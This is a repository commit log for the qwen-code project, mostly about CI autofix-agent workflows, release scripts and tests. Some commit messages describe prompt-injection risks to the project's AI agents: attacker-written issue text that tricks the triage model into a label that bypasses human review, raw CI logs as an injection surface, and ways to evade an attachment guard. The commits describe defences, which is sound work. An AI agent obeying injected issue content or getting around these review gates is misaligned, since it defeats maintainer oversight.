- Inject the actual failing STEP name + a log excerpt into feedback.md so
  the agent diagnoses from the real failure instead of guessing from local
  test runs. SKILL now forbids "pre-existing"/environment excuses without
  evidence.
- Decouple the feedback watermark from base-sync pushes: use the last eval
  marker (what the agent evaluated), not the head commit date, so an
  "Update branch" merge can no longer bury unaddressed maintainer feedback.
  Use PR createdAt as the pre-first-eval floor.
- Bound the pending-check skip so a check wedged pending can't strand a PR
  forever; always post a handoff comment + eval marker on failure so the
  loop never goes silent; add an issue_comment trigger so an @-mention from
  a trusted maintainer re-triggers the review pass promptly.

* ci(autofix): drop comment-trigger and raw-log injection; keep them within existing safety guards

Respects two deliberate, tested design decisions that the first cut collided
with (caught by scripts/tests/qwen-autofix-workflow.test.js):

- Drop the issue_comment @-mention trigger and its route branch: the workflow
  intentionally does not expose comment-triggered autofix (only
  pull_request_review:submitted) to avoid redundant runs and comment-command
  surface. The scheduled scan plus the watermark fix already re-target a PR
  after maintainer feedback.
- Drop the raw CI-log injection into feedback.md: feedback fed to the model is
  deliberately sanitized and must not pull in URLs / raw context (a
  prompt-injection surface). Keep only the sanitized check-name rendering
  (.name // .workflowName, still gsub+truncated).

Update the assertions that the retained improvements (watermark decoupling,
pending-check staleness bound, always-post-handoff-on-failure) legitimately
changed. Workflow test: 48/48 green.

* ci(autofix): address review — handle cancellation, fold a PR fetch, cover schema commands

Addresses the three inline /review suggestions on the PR:

- Handoff on any non-success end, not just "failure". A 120-minute job-timeout
  cancellation sets job.status = "cancelled", which the "== failure" check
  missed — leaving no marker and no comment, so the next scan re-targeted the
  same feedback with the same round (an invisible loop). Use "!= success";
  the step only runs on failure()/cancelled()/dry-run and dry-run is excluded.
- Fold the createdAt fetch into the existing statusCheckRollup gh pr view call
  (statusCheckRollup,createdAt), removing one GitHub API round-trip per PR
  scanned.
- Add test coverage the earlier diff lacked: assert generate:settings-schema is
  in both agent allowlists and that both verify gates run the schema-freshness
  check, so a future edit can't silently drop the guard this PR adds.

* ci(autofix): fix handoff/staleness design flaws from review (4 critical + 2 suggestions)

Addresses the CHANGES_REQUESTED review of the handoff (E-4) and pending-check
staleness (E-3) logic:

- Suppress the handoff once a run published a result (OUTCOME fixed/noop), so a
  later always() step failing the job (e.g. artifact upload) can no longer post
  a contradictory acted=false handoff over a reported success.
- Bound the agent step at 80m, well under the 120m job timeout, so a runaway
  agent fails the STEP (not the job) and the always() report step still runs and
  hands off — a job-level timeout would cancel that step too and go silent.
- On a pre-prepare crash (empty NEWEST) the watermark can't advance, so write a
  terminal marker (round = MAX_ROUNDS) and skip on the highest marker round
  (not last-by-ts), so the scan stops re-handing-off instead of repeating until
  MAX_ROUNDS.
- Raise the pending-staleness bound from 30m to 240m so an active check
  (review-pr ~50m, review-address up to 120m) is never aged out mid-flight and
  the same feedback double-processed; only truly-dead checks are ignored.
- Prefer the agent's detailed failure.md over the generic handoff.md wrapper.

Adds a bash-replay test that extracts the actual POST_HANDOFF decision and
MARK_ROUND logic from the workflow and exercises the state transitions
(published+late-failure, dry-run, verify failure, pre-verify crash,
cancellation; terminal vs incremental round). Workflow test: 49/49.

* ci(autofix): address review nits — symmetric schema-gate outcome, softer SKILL wording

Two non-blocking review suggestions:

- The issue-phase verify gate's schema-freshness check now writes
  outcome=failed before exit 1, matching the address-review gate, so the
  issue-phase step summary shows outcome=failed instead of outcome=unknown.
- Reword the SKILL rule from "do not invent environment excuses" to "do not
  skip a failing check by attributing it to the environment without evidence,"
  which keeps the intent (no hand-waving a real failure as an env issue)
  without discouraging the agent from reporting a genuine infra failure.

* ci(autofix): close review edge cases — structural schema gate, immutable floor, robust handoff

Review round 3 (2 critical + 3 suggestions):

- Run the review gate's settings-schema freshness check BEFORE the no-op/
  unchanged return, so a stale-schema PR the agent wrongly no-ops fails
  (outcome=failed) instead of being reported as evaluated while CI stays red —
  the exact motivating bug. Single check now covers every path; ordering is
  asserted in the test.
- Never fall back to the mutable head commit date for the pre-first-eval
  watermark floor: if the PR metadata query fails, use an empty (over-inclusive,
  never-buries) floor. A base-sync HEAD as the floor would recreate the burial
  bug. Removes the now-unused HEAD_SHA lookup.
- Guard the terminal handoff marker's timestamp (MARK_TS=${NEWEST:-${WATERMARK:-unknown}})
  so a cascading API failure that blanks WATERMARK can't emit an unparseable
  `ts=` that the scan regex skips, defeating the terminal-round guard.
- Truncate failure.md through `iconv -f utf-8 -t utf-8 -c` so a byte-level
  head -c can't split a multi-byte sequence and corrupt the comment body.
- A pre-prepare crash (empty NEWEST) now says "could not start evaluation"
  instead of "round 5/5", which would imply MAX_ROUNDS attempts were made.

Workflow test: 49/49.

* test(autofix): assert regression-catching invariants flagged in review

Four review suggestions, test-only: assert the else-branch floor
(EFF_WM=${CREATED_WM}, not the old PUSH_WM), the staleness jq filter
(.startedAt // ... // $cut), the JOB_STATUS env declaration (else it is always
empty → over-eager handoffs), and the .name // .workflowName feedback format —
so a regression on any of these is caught rather than passing silently.

* ci(autofix): fix iconv silent-abort, fold branch fetch, tighten staleness filter

Review round with a real regression in my own round-3 UTF-8 fix:

- CRITICAL: `iconv -c` exits 1 whenever it discards a byte split by `head -c`,
  and under the step's `set -eo pipefail` that aborts before the eval marker +
  gh pr comment run — a silent stall, the exact failure this block prevents.
  Add `|| true`; the cleaned text is already emitted, so the handoff continues.
- Fold headRefName into the PR_META fetch (headRefName,statusCheckRollup,
  createdAt) and derive BRANCH from it — one fewer API call per scanned PR.
- Simplify the pending-staleness clock to `.startedAt // $cut`: statusCheckRollup
  has no updatedAt and pending checks have no completedAt, so those fallbacks
  were dead and contradicted the comment. Now a check blocks only if it actually
  started within the bound; comment matches the code.
- Tests: assert `.startedAt // $cut) > $cut` (the comparison, not just the
  constant) and the `|| true` guard, so a flipped comparison or a dropped guard
  is caught. 49/49.

* ci(autofix): review round — skip empty branch, hoist staleness vars, robust sentinel

Six review suggestions (no criticals):

- Skip a candidate PR when the metadata fetch fails (empty branch) instead of
  falling through to an address job that fails on `git checkout -B "" origin/`
  and posts a misleading handoff. This also means CREATED_WM is only reached
  with populated metadata (subsumes the empty-floor warning suggestion).
- Hoist the invariant PENDING_STALE_MIN / PENDING_CUTOFF out of the per-PR loop
  (one `date` fork instead of one per candidate).
- Replace the MARK_TS "unknown" sentinel with a far-future ISO-8601 date, so it
  is non-empty AND sorts above real timestamps without relying on an
  undocumented lexicographic quirk of a bare word.
- Cross-reference comment on the positional eval-marker regex noting it must
  stay in lockstep with every write site (ts= acted= round=).
- Tests: document OUTCOME="" + JOB_STATUS=success → no handoff, and assert the
  empty-branch skip guard.

* ci(autofix): DRY schema check via --check, widen handoff detail, honest terminal recovery

Three review suggestions:

- Replace both duplicated schema-freshness blocks with the generator's in-process
  `--check` mode (verified: exit 1 when stale, 0 when fresh; no disk write, so
  the review gate's later no-op git-diff is unaffected). Single source of truth
  with CI; a future change to the check lives in one place.
- Widen the handoff DETAIL_FILE search to address-summary.md/no-action.md: when
  the agent succeeds but a post-agent verify gate fails (e.g. the schema gate),
  OUTCOME=failed with only the success outputs present, and "Push and report" is
  skipped — so this was posting a false "crashed or timed out" and dropping the
  agent's real summary.
- Correct the terminal-crash headline: the marker makes the scan skip forever
  (even forced dispatch), so "re-trigger if transient" was misleading; the
  headline now states the real recovery — delete the terminal autofix-eval
  marker comment, then re-trigger. (Keeps the terminal design a prior review
  asked for; only the advertised recovery is fixed.)

* ci(autofix): revert schema gate off --check (removed from main by #7031); jq replay

- CRITICAL: `--check` was reverted from main's generator by #7031 (3d4601489),
  after this branch's base. Since this PR doesn't touch the generator, the
  merged code would run main's argument-ignoring generator and both freshness
  gates would go fail-open — the exact stale-artifact stall this PR prevents.
  Revert both gates to regenerate + `git status --porcelain` (restoring the file
  on failure), which mirrors CI's actual "Check settings schema is up-to-date"
  step and works with any generator version. Verified no --check on current
  origin/main.
- Add a behavioral jq replay of the pending-staleness filter (started-before vs
  started-after cutoff, and no-startedAt) so a flipped comparison is caught, not
  just string-matched.

* ci(autofix): set outcome=failed explicitly if the schema generator crashes

Both verify gates ran the generator unguarded: if it crashes (e.g. a type error
the agent introduced in the schema source), set -eo pipefail aborts the step
before outcome=failed is written, leaving OUTCOME unset (the handoff still fires
via job.status, but the outcome is inferred rather than explicit). Wrap the
generator in `if ! ...; then outcome=failed; exit 1; fi` so the failure is
explicit and does not depend on the job.status fallback. Test asserts the guard.

* ci(autofix): extract the settings-schema gate into a shared script

Address review: the 16-line schema-freshness gate (generator crash
guard, porcelain check, restore, outcome=failed) was duplicated verbatim
between the issue-fix verify step and the triage-and-address verify
step, so an edit to either copy could silently diverge from the other.
Move it to .github/scripts/check-settings-schema.sh and call it from
both sites; the site-specific rationale comments stay at the call sites,
the shared mechanics and the crash-guard rationale live in the script.

The script preserves the exact step contract, verified with a PATH-shim
harness over a temp git repo: generator ok + fresh schema exits 0 with
no output written; a generator crash writes outcome=failed to
GITHUB_OUTPUT and exits 1; a stale schema prints the diff, restores the
file, writes outcome=failed, and exits 1.

* test(autofix): update verify-gate assertions for the extracted schema-check script

The main-merge extracted the inline schema-freshness block into the shared
.github/scripts/check-settings-schema.sh (both verify gates now invoke it), which
broke the test that asserted the inline generate/porcelain strings in the step.
Assert the step invokes the script and that the SCRIPT holds the logic
(regenerate, crash guard, git status --porcelain, no --check, outcome=failed),
and that the review gate's script call precedes the no-op return.

---------

Co-authored-by: wenshao <wenshao@example.com>
2026-07-17 03:26:43 +00:00
callmeYe
3d4601489e
revert: remove local PR verification gate (#7031)
Some checks are pending
E2E Tests / E2E Test (Linux) - sandbox:docker (push) Waiting to run
E2E Tests / E2E Test (Linux) - sandbox:none (push) Waiting to run
E2E Tests / E2E Test - macOS (push) Waiting to run
E2E Tests / cron-interactive E2E (nightly) (push) Waiting to run
E2E Tests / web-shell Browser Regression (push) Waiting to run
Reverts QwenLM/qwen-code#6873 and QwenLM/qwen-code#7025.
2026-07-16 11:24:38 +00:00
callmeYe
441006b0e1
feat(scripts): add local PR verification gate (#6873)
* feat(scripts): add settings schema check mode

* feat(scripts): add local PR verification runner

* fix(scripts): harden local PR verification

* docs: document local PR verification gate

* fix(scripts): isolate local verification tools

* fix(scripts): scope PR formatting checks

* fix(scripts): skip symlinked PR paths

* fix(scripts): preserve verification gate integrity

* fix(scripts): canonicalize verification temp paths

* fix(scripts): stabilize local PR verification

* fix(scripts): clear built-in test credentials

* fix(scripts): enforce isolated test environment

* fix(scripts): serialize local verification tests

* fix(scripts): address PR verification review

* fix(scripts): preserve review git wrapper environment

* refactor(scripts): avoid step helper shadowing

* fix(scripts): distinguish forwarded child signals

* fix(scripts): preserve relayed signal exit codes
2026-07-15 00:58:17 +00:00
易良
d4c15f05c5
feat(ci): add automated PR failure patrol (#6766)
* feat(ci): add stale failure patrol

* fix(ci): harden failure patrol

* refactor(ci): simplify flaky rerun patrol

* docs(ci): clarify flaky patrol skill boundary

* feat(ci): patrol stale PR failures

* fix(ci): prefilter failed PRs

* fix(ci): isolate patrol classification

* fix(ci): revalidate stale patrol actions

* fix(ci): verify main before branch update

* fix(ci): classify all stale PR failures

* fix(ci): bound patrol batches

* fix(ci): persist patrol failure state

* fix(ci): harden patrol state transitions

* fix(ci): harden stale failure patrol

* fix(ci): continue patrol after expired logs

* fix(ci): tighten patrol guardrails

* fix(ci): preserve failure context in patrol logs

* fix(ci): harden stale patrol closeout

* fix(ci): paginate patrol marker comments

* fix(ci): harden patrol action guards

* test(ci): cover patrol guard rails

* fix(ci): harden patrol marker parsing

* fix(ci): address patrol review followups

* test(ci): cover patrol review edges

* fix(ci): record patrol rerun marker first

* fix(ci): harden patrol review edge cases

* fix(ci): tighten stale failure patrol markers

* refactor(ci): simplify flaky rerun patrol (2838→1258 lines)

- Remove classification guards from actOnDecision (confidence check,
  action enum validation, boundedReason, update_branch multi-guard chain)
- Move classification rules to SKILL.md prompt
- Delete 40 source-code text matching tests, keep 20 behavior tests
- Merge identity job into classify, remove SHA verification
- Change scan sort order from oldest-first to newest-first
- Remove unused functions: writeSkillInputs, failureKey, boundedReason,
  canAct, skillCandidate, mainRunSucceeded

* fix(ci): show gh stderr in top-level error output

When gh CLI returns non-zero exit, execFile rejects with an error whose
.stderr contains the actual GitHub API diagnostic. Previously only one
of stderr or message was shown; now both are printed.

* fix(ci): address patrol review findings

* fix(ci): make stale patrol actions recoverable

* refactor(ci): simplify flaky rerun patrol

* fix(ci): close flaky patrol review gaps

* fix(ci): restore PR failure patrol actions

* fix(ci): harden failure patrol scanning

* fix(ci): address patrol review follow-ups

* fix(ci): harden patrol parsing and coverage

* fix(ci): classify failures against PR changes

* fix(ci): harden patrol script input handling

* fix(ci): remove unsafe auto branch update

* test(ci): exercise patrol action limit

* fix(ci): bind patrol actions to current evidence

* fix(ci): count patrol actions per PR

* fix(ci): redact quoted secret labels

---------

Co-authored-by: Shaojin Wen <shaojin.wensj@alibaba-inc.com>
2026-07-15 00:51:11 +00:00
易良
d7e2892a7c
fix(cli): avoid updating active CLI processes (#6874)
* fix(cli): avoid updating active processes

* fix(cli): close update relaunch gaps

* test(cli): fix standalone update source path

* fix(cli): reset deferred update per relaunch
2026-07-15 00:33:17 +00:00
易良
13d735bd71
ci(release): finalize stable releases asynchronously (#6868)
* ci(release): finalize stable releases asynchronously

* chore: remove redundant release workflow docs

* ci(release): skip prerelease finalization

* fix(ci): block release PR when changelog fails

* fix(ci): reject invalid release finalization tag

* fix(ci): restrict release finalization token
2026-07-15 00:30:51 +00:00
易良
6692289455
fix(ci): skip empty SDK release PR (#6861)
* fix(ci): skip empty SDK release PR

* fix(ci): skip no-op sdk release branch push

* fix(ci): target sdk release from ref on no-op

* fix(ci): guard sdk release tagging
2026-07-14 13:19:42 +00:00
易良
344c006122
fix(ci): avoid apt on self-hosted Playwright smoke (#6865)
* fix(ci): isolate web-shell Playwright smoke runner

* fix(ci): avoid apt on ECS Playwright smoke

* fix(ci): enable manual ecs smoke validation

* fix(ci): repair manual runner input parsing

* docs(ci): clarify self-hosted playwright deps

* test(ci): fix Playwright runner assertion
2026-07-14 13:19:40 +00:00
易良
ae9e7782d4
feat(release): generate AI-assisted release notes (#6756)
* feat(release): generate AI-assisted release notes

* docs(release): remove AI release notes planning docs

* fix(release): preserve complete AI release notes

* refactor(release): trim AI notes generator surface

* ci: Open autofix issues for main CI failures

* fix(release): harden AI notes review feedback

* fix(release): close AI notes review gaps
2026-07-12 13:00:22 +00:00
Nothing Chan
b19ebd8fc6
fix(packaging): bundle clipboard addon in standalone builds (#6708) 2026-07-11 15:18:24 +00:00
易良
55eb8325e5
fix(tests): sync qwen-resolve-workflow test expectations with PR #6706 timeout changes (#6720)
PR #6706 updated review-pr workflow timeout values (job timeout to 260m,
default to 180m, max to 240m) but did not update the corresponding test
expectations, causing CI failures on all subsequent PRs.
2026-07-11 09:27:24 +00:00
qwen-code-dev-bot
bcf5b7bfdd
fix(release): raise prepared package size limit to 96 MB (#6687) (#6691)
The assertPreparedPackageSize check introduced after v0.19.8 set an
80 MB ceiling, but the current package is 80.58 MB — 597 KB over —
causing the Docker sandbox build to fail during the v0.19.9 release.
Bump to 96 MB to accommodate normal growth with ample headroom.

Co-authored-by: github-actions[bot] <github-actions[bot]@users.noreply.github.com>
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
2026-07-11 01:01:59 +00:00
han
a130ce430e
fix(cli): localize approval mode UI labels (#6592)
* fix(cli): localize approval mode UI labels

* fix(cli): address approval mode i18n review

* fix(cli): stabilize approval mode i18n key

* test(cli): cover approval mode i18n follow-up

* test(cli): cover localized auto indicator

* test(cli): address approval i18n suggestions

---------

Co-authored-by: Shaojin Wen <shaojin.wensj@alibaba-inc.com>
2026-07-11 00:07:03 +00:00
qqqys
ebd83f1d2d
fix(release): raise package size budget to 85 MiB (#6688) 2026-07-10 18:24:39 +00:00
易良
3bf2d45403
ci: add suspicious comment attachment guard (#6599)
* ci: add suspicious comment attachment guard

Resolves #6597

* ci: reduce attachment guard false positives

* ci: harden comment attachment guard

* ci: tighten attachment extension matching

* ci: avoid false attachment removal summary

* ci: avoid markdown link attachment false positives

* ci: avoid country-code attachment false positives

* ci: harden attachment URL parsing

* ci: reduce attachment guard false positives

Updates #6597

* ci: harden malformed attachment URLs

Updates #6597

* ci: reduce attachment guard overmatching

Updates #6597

* ci: scan attachment path segments

Updates #6597

* ci: cover review attachment summaries

* ci: harden attachment link detection

* fix: address critical bypass vectors in comment attachment guard

- Remove break in decodeTarget catch block so malformed percent sequences
  (e.g., %ZZ) don't prematurely exit the decode loop, allowing
  double-encoded extensions to be fully detected
- Strip zero-width characters (U+200B-U+200D, U+FEFF, U+00AD, U+2060,
  U+180E) before NFKC normalization to prevent invisible-character
  evasion of extension matching
- Add protocol-relative URL (//) support to linkPattern and
  highRiskTarget, normalizing to https: before parsing
- Add tests for all three bypass vectors (39 total, all passing)

---------

Co-authored-by: Shaojin Wen <shaojin.wensj@alibaba-inc.com>
2026-07-10 09:40:54 +00:00
易良
6d966d2917
test(core): stabilize file history eviction test (#6637)
* test(core): stabilize file history eviction test

* ci: clean package build artifacts before fast-path check

* ci: preserve web build outputs during fast-path check
2026-07-10 06:39:52 +00:00
易良
55311c3b51
ci: route full CI follow-up jobs to selected runner (#6608)
* ci: route coverage comment job to selected runner

Resolves #6604

* ci: route web-shell smoke job to selected runner

Updates #6604

* ci: harden selected-runner follow-up jobs

* ci: route assigned autofix issues

* ci(autofix): preserve issue assignment gates

---------

Co-authored-by: Shaojin Wen <shaojin.wensj@alibaba-inc.com>
2026-07-10 01:47:00 +00:00
qqqys
2054302357
fix(channels): align memory access with channel gates (#6620)
Some checks are pending
E2E Tests / web-shell Browser Regression (push) Waiting to run
E2E Tests / E2E Test (Linux) - sandbox:docker (push) Waiting to run
E2E Tests / E2E Test (Linux) - sandbox:none (push) Waiting to run
E2E Tests / E2E Test - macOS (push) Waiting to run
* fix(channels): align memory access with channel gates

* fix(channels): harden channel memory injection

* test(ci): align autofix workflow assertions
2026-07-10 00:00:41 +00:00
易良
2a1807f08d
fix(ci): detect silent triage failures with empty-response check (#6566)
* fix(ci): detect silent triage failures with empty-response check

The qwen-triage workflow relied on qwen-code-action to surface failures,
but when the CLI exited 0 with empty output the step reported success
with no triage comments posted. Add a post-step that checks the action's
summary output and fails the job if it is empty, making silent failures
visible in the Actions log.

Defense-in-depth for QwenLM/qwen-code#6553 (primary fix in
qwen-code-action).

* ci: bump qwen-code-action pin to 6d08e91

Picks up the stderr visibility fix (QwenLM/qwen-code-action#12) that
always emits stderr to the step log and warns on empty responses.
Bumps all 5 workflows pinned to the action.

* fix(ci): pass triage summary through env
2026-07-09 11:10:44 +00:00
易良
ba709c2c2c
ci(autofix): Add single-target scheduler (#6547)
* ci(autofix): add single-target scheduler

* ci(autofix): handle failed PR checks in scheduler

* ci(autofix): remove scheduler plan doc

* ci(autofix): watermark failed PR checks

* ci(autofix): harden failed check feedback

* ci(autofix): count review-address failures

* ci(autofix): include review-address failures in feedback
2026-07-09 01:05:02 +00:00
易良
fbdaa52c52
Gate browser automation MCP on external adapter (#6472)
* feat(cli): gate browser automation adapter

* fix(cli): close browser automation review gaps

* test(cli): cover browser automation gates

* fix(cli): close browser automation review gaps

* fix(cli): close browser automation review gaps
2026-07-08 23:26:44 +00:00
Shaojin Wen
e3e449fc4c
feat(autofix): extend review loop to all dev-bot PRs, add real-time triggers (#6528)
* feat(autofix): extend review loop to all dev-bot PRs, add real-time triggers

* fix(autofix): address review feedback — trusted checkout, sender gate, in-repo check, issue comments

* fix(autofix): address suggestion feedback — API warning, bot comment filter, branch prefix doc, test coverage

* fix(autofix): drop pull_request_review_comment trigger to avoid redundant runs
2026-07-08 14:18:17 +00:00
qwen-code-dev-bot
955ad27fc7
fix(scripts): handle missing NPM dist-tags gracefully in release versioning (#6476) (#6481)
* fix(scripts): handle missing NPM dist-tags gracefully in release versioning (#6476)

getAndVerifyTags now returns null instead of throwing when no baseline
version exists on NPM. getPreviewVersion and getStableVersion fall back
to the package.json base version, matching the pattern already used by
getNightlyVersion. This prevents the release workflow from failing when
no nightly or preview dist-tag has been published yet.

* fix(scripts): harden release versioning against transient NPM errors and missing dist-tags (#6476)

- Distinguish 404 from transient errors in getVersionFromNPM so NPM
  outages halt the release instead of silently falling back
- Consult getAllVersionsFromNPM when dist-tag is missing to derive
  baseline from published versions rather than returning empty
- Add console.error logging when getAndVerifyTags returns null
- Validate package.json fallback version in getStableVersion and
  getPreviewVersion
- Add tests for promote-nightly/patch throw paths, true greenfield
  scenario, versions-list derivation, and transient error propagation

* fix(scripts): propagate transient NPM errors in getAllVersionsFromNPM (#6476)

getAllVersionsFromNPM silently swallowed all errors including transient
network failures (ETIMEDOUT, ECONNRESET), which became load-bearing now
that the missing-dist-tag fallback depends on it. Match the same 404-only
pattern already used by getVersionFromNPM. Also fix a DRY violation in
getPreviewVersion, correct misleading test comments, and add test
coverage for the versions-list error path and latest filter branch.

* fix(scripts): tighten 404 detection and tolerate transient versions-list failures (#6476)

- Remove redundant '404' substring check; E404 is the canonical npm error code
  and bare '404' could false-match unrelated errors (port 4043, E4040)
- Catch transient versions-list errors in detectRollbackAndGetBaseline when
  distTagVersion is already resolved, avoiding hard-blocking a release when
  rollback detection is merely a safety net
- Update and add tests for the new fallback behavior and deprecated-versions path

* fix(scripts): guard release version fallback edge cases

* test(scripts): cover greenfield versions list E404

---------

Co-authored-by: Qwen Code Autofix <qwen-code-bot@alibabacloud.com>
Co-authored-by: qwen-code[bot] <qwen-code[bot]@users.noreply.github.com>
Co-authored-by: Qwen Code Autofix <qwen-code@autofix.bot>
Co-authored-by: yiliang114 <effortyiliang@gmail.com>
2026-07-08 12:21:14 +00:00
易良
010bedfc88
fix(autofix): report review handoff failures (#6415)
* fix(autofix): report review handoff failures

* fix(autofix): distinguish terminal review handoffs

* fix(autofix): harden review handoff reporting

* test(autofix): cover agent failure handoff marker

* fix(autofix): avoid hanging on destroyed log stream

* fix(autofix): harden handoff failure reporting

* fix(autofix): detect split loop guard output

* fix(autofix): kill timed-out qwen process group
2026-07-07 12:27:13 +00:00
易良
5f7b57f933
fix(autofix): improve review addressing and verification (#6382)
* fix(autofix): run verification before committing

* ci(autofix): trigger review addressing on feedback

* fix(autofix): narrow npm command allowlist

* fix(autofix): address review workflow guards

* fix(autofix): keep review addressing on scheduled sweep
2026-07-06 14:10:58 +00:00
易良
0c28ddc180
ci(autofix): move agent prompts into a project skill (#6306)
* ci(autofix): move agent prompts into project skill

* ci(autofix): avoid rewriting bot branch history

* fix(ci): address autofix skill review comments

* fix(ci): preserve autofix skill guardrails

* fix(ci): restore autofix review self-check

* test(ci): pin autofix review self-check

* fix(ci): tighten autofix skill guardrails

* fix(ci): restore autofix skill guardrails

* fix(ci): restore autofix merge verification guidance

* ci(autofix): add maintainer comment dry-run trigger

* fix(autofix): expand skill prompt in workflow

* fix(autofix): preserve qwen failure artifacts

* fix(autofix): move prompt runner into skill

* refactor(autofix): slim skill runner

* refactor(autofix): trim skill prompt

* fix(autofix): clarify verification handoff

* fix(autofix): skip issues with open bot PRs

* fix(autofix): expose existing PR context to skill

* fix(autofix): require strict null-safe TypeScript patches

* feat(autofix): formalize full pipeline phases in skill specification

Expand the autofix skill from 3 modes to an 8-phase pipeline definition
covering design, review-design, develop, verify, repair, cross-review,
and address-review. Adds bounded repair, scope creep self-check, and
structured failure classification. Future phases clearly marked.

* fix(autofix): keep skill scope to active modes

* fix(autofix): tighten manual command routing

* fix(autofix): harden comment-triggered runs

* fix(autofix): remove comment-triggered autofix route

* fix(autofix): restore review safety checks

* test(autofix): relax runner failure timeout

* fix(autofix): keep issue fixes in workflow checkout

* fix(autofix): harden review feedback handling

* fix(autofix): guard forced routing, improve runner observability (#6306)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(autofix): address workflow review feedback

* fix(autofix): tighten review feedback handling

* test(autofix): trim runner test boilerplate

---------

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
2026-07-06 06:28:16 +00:00
易良
e3906392b5
perf(ci): optimize autofix pipeline — fast-track, skip duplicate build, scoped tests (#6315)
* perf(ci): optimize autofix pipeline — fast-track, skip duplicate build, scoped tests (#6196)

Three optimizations to reduce autofix wall-clock from ~48 min to ~28-35 min:

1. Fast-track decision: skip LLM assessment for trusted triggers
   (workflow_dispatch with explicit issue, issues:labeled event).
2. Skip duplicate build: set QWEN_SKIP_PREPARE=1 so npm ci does not
   re-run the prepare hook that builds+bundles before the explicit
   build step.
3. Scoped verification tests: run only changed-file tests via
   --changed instead of full per-package suites. Full regression
   is covered by regular CI on the PR.

Also hardens live test gating (require QWEN_CODE_RUN_LIVE_TESTS=1)
and increases crawler test timeout to 30s.

* refactor(ci): simplify verification gate package discovery

Replace 30-line inline Node script with the original one-liner
`grep -oE '^packages/[^/]+'`. The Node script checked for
package.json existence and test scripts, but `--if-present` already
handles missing test scripts and all workspace dirs have package.json.

Addresses design-review item #7.

* fix(ci): tighten autofix changed-test gate
2026-07-05 02:32:04 +00:00
易良
905c5c95a7
fix(ci): skip stale PR review runs (#6313)
* fix(ci): skip stale PR review runs

* test(ci): trigger review cancellation

* fix(ci): make PR review cancellation interruptible

* fix(ci): block stale review comment writes
2026-07-04 20:15:30 +00:00
易良
ba7561af49
fix(ci): Stop review bots for closed PRs (#6304)
* fix(ci): stop review bots for closed PRs

* test(ci): scope closed review workflow assertions

* test(ci): cover closed PR review guards
2026-07-04 14:16:47 +00:00
易良
e48999ddb2
fix(ci): require maintainer-applied autofix/approved label for tier-1 fast-path (#6276)
* fix(ci): require maintainer-applied `autofix/approved` label for tier-1 fast-path

The scheduled scan and `issues:labeled` event paths in `qwen-autofix.yml`
previously trusted the `status/ready-for-agent` label alone, which is
applied by an LLM reading untrusted issue text. An attacker could craft
issue content to trick the triage LLM into labeling it ready, bypassing
human review.

Introduce an `autofix/approved` label that only maintainers (write+
permission) can apply. Both the cron scan and event-triggered paths now
require this label alongside `status/ready-for-agent` before entering the
autonomous fix pipeline (dual-factor: LLM signal + human confirmation).

Also:
- `release.yml` automatically adds `autofix/approved` on workflow-created
  release-failure issues (trusted source, preserves existing automation)
- Forced-issue path (non-dispatch) also checks for the new label
- Claim step strips `autofix/approved` to keep processed issues clean

Closes #5634

* fix(ci): address autofix approval review

* fix(ci): address autofix approval follow-ups

* test(ci): cover autofix approval gate

* fix(ci): harden autofix approval revalidation

* fix(ci): avoid autofix approval retry loop

* fix(ci): harden autofix claim handling

* fix(ci): clarify autofix reapproval label

* fix(ci): make autofix claim label update non-destructive
2026-07-04 08:06:27 +00:00
qwen-code-dev-bot
9f87c90a50
fix(autofix): unconditionally restore tracked files before branch checkout (#6281) (#6286)
git diff --quiet exits 0 when only CRLF normalization differs (content
is identical after filter), so the conditional git restore was skipped
even though the working tree was dirty. This caused git checkout -B to
fail on NOTICES.txt. Remove the conditional guard so restore always runs.

Co-authored-by: Qwen Autofix <qwen-autofix@alibaba-inc.com>
2026-07-03 20:11:42 +00:00
易良
e1fc45d508
ci(autofix): restore sandbox image flow (#6261)
* ci(autofix): restore sandbox image flow

* test(ci): update autofix workflow assertions

* ci(autofix): restore tracked output before review checkout

* test(ci): clarify autofix workspace assertion

* style(ci): format sandbox image resolver

* ci(autofix): address sandbox review feedback

* test(ci): cover sandbox image publish gating

* ci(autofix): validate sandbox image config

* ci(autofix): address workflow review comments
2026-07-03 15:30:58 +00:00
Shaojin Wen
da22360c25
feat(web-shell): show the qwen-code version in the sidebar footer (#6222)
* feat(web-shell): show the qwen-code version in the sidebar footer

The Web Shell had no visible version. Show the running qwen-code version (from the daemon capabilities) in the sidebar footer, inline with the Settings button so it stays visible without taking its own row.

Render the version consistently wherever it appears:
- Prefix "v" only for a real semver release; a non-semver fallback such as "unknown" is shown as-is, so we never render a bogus "vunknown". Applied to the Web Shell badge and the TUI header.
- Dev builds (scripts/dev.js) now report the real package version instead of the "dev" sentinel, matching scripts/start.js, so the UI shows the actual version (e.g. v0.19.4). DEV=true / NODE_ENV=development remain the signals that mark a dev build.

* test: add readFileSync to node:fs mock in dev.test.js

scripts/dev.js now reads package.json via readFileSync at module load to
report the real CLI_VERSION, but the node:fs mock in dev.test.js did not
export readFileSync, causing vitest to throw "No readFileSync export is
defined on the node:fs mock" and failing the suite.
2026-07-03 08:56:08 +00:00
易良
e743f0e2e0
ci(autofix): run agents on dedicated ECS runners (#6207)
* ci(autofix): run agents on dedicated ECS runners

* ci(autofix): retry repository checkout

* ci(autofix): use local qwen bundle fallback

* ci(autofix): harden ECS runner failure handling

* ci(autofix): retry transient qwen runner failures

* fix(ci): proxy autofix model credentials

* fix(ci): limit ECS autofix to ready issues

* fix(ci): address autofix workflow review feedback

* fix(ci): restore autofix known bots

* chore(ci): trim autofix ECS scope

* fix(ci): consolidate autofix OpenAI proxy

* fix(ci): restrict autofix agent execution tools

---------

Co-authored-by: Shaojin Wen <shaojin.wensj@alibaba-inc.com>
2026-07-03 07:40:07 +00:00
qqqys
62e11a5732
feat(core): add dataviz bundled skill (#6198)
* feat(core): add dataviz bundled skill

* fix(core): harden dataviz palette validator

* fix(core): harden dataviz validator review gaps

* test(core): declare node global in dataviz test

* fix(core): harden dataviz validator cli

* fix(core): tighten dataviz validator packaging

* fix(core): tighten dataviz skill packaging
2026-07-03 01:06:39 +00:00
易良
b16baf1ffc
ci(release): optimize validation steps (#6133)
* ci(release): optimize validation steps

* fix(ci): address release validation review comments

* fix(ci): document prepare skip contract

* test(ci): cover prepare failure exit

* fix(ci): prefix prepare error logs

* fix(ci): keep release quality build artifacts

* fix(ci): address release validation comments

* fix(ci): preserve release publish hooks

* test(ci): cover prepare failure paths

* fix(ci): disable release coverage safely
